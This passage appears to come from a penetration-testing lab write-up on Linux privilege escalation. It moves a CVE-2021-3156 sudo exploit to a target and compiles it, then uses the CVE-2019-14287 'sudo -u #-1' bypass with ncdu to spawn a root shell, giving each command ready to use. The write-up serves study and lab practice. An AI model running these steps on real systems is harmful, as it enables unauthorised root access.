From here, we can verify if the target has make and gcc installed and available. If so, we can transfer the github repository or the required files through RSYNC if we have SSH access to the target
From the Target π―
mkdir /dev/shm/CVE-2021-3156
From the Attacker βοΈ
cd !$ && rsync --progress -AXavz . <USER>@<TARGET>:/dev/shm/CVE-2021-3156/
From the Target
cd /dev/shm/CVE-2021-3156 && make
If those tools are not available on the target, we will have to perform an static linking during the binary compilation to ensure maxium portability and transfer the static binary to the target to execute it
From the Attacker βοΈ
Just edit the Makefile and add the -static option to the gcc command which creates the static binary
The current user must have any sudo privileges i.e. run any command as any user
This results in an entry in the /etc/sudoers file
Enumeration
Sudo Privileges
Simply check the current user sudo privileges by issuing the following command
sudo -l
Command Output
[sudo] password for 4l3xbb: Matching Defaults entries for htb-student on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser 4l3xbb may run the following commands on ubuntu: (ALL, !root) /bin/ncdu
We see that we can run /bin/ncdu as any user except ROOT
Sudo Version
Nevertheless, we can check the targetβs sudo version. Bear in mind that if its version is lower than the 1.8.27, we can pwn the system by running the given command as ROOT, even though it is explicitly forbidden
sudo -V | head -n1
Command Output
Sudo version 1.8.21p2
And it is!
Abuse
Therefore, run the following command β
sudo -u '#-1' -- /bin/ncdu
Once we are inside the ncdu interface, simply press b and a shell will spawn as root